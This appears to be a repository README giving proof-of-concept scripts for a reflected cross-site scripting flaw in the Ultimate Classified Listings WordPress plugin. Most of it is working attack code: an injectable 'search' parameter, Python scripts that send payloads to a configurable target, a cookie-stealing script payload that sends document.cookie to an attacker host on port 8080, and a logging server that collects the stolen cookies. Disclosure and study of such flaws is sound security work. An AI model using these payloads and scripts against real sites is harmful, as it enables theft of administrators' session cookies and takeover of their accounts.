
Proof-of-concept scripts demonstrating reflected XSS in the Ultimate Classified Listings WordPress plugin and admin cookie theft via crafted payloads and a logging server.
This repository contains Proof of Concept (PoC) scripts for various vulnerabilities discovered in different WordPress plugins. These scripts demonstrate how attackers can exploit these vulnerabilities to perform malicious actions.
Reflected Cross-Site Scripting (XSS) in Ultimate Classified Listings Plugin
Stealing Cookies Using XSS
This PoC demonstrates how to exploit the reflected XSS vulnerability in the Ultimate Classified Listings plugin.
Identify the Vulnerable Parameter:
search in the URL http://example.com/classifieds.Craft a Malicious URL:
http://example.com/classifieds?search=<script>alert('XSS')</script>
Run the PoC Script:
xss_poc.py and run it.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
This PoC demonstrates how an attacker can exploit the reflected XSS vulnerability to steal cookies from high-privilege users.
Setup a Malicious Server:
malicious_server.py and run it to start a server that logs incoming requests (including cookies).from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
Craft a Payload to Steal Cookies:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
Run the PoC Script:
steal_cookies_poc.py and run it.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
These PoCs demonstrate how an attacker could exploit vulnerabilities in WordPress plugins to perform malicious actions. Always keep your software up-to-date and follow security best practices to prevent such vulnerabilities.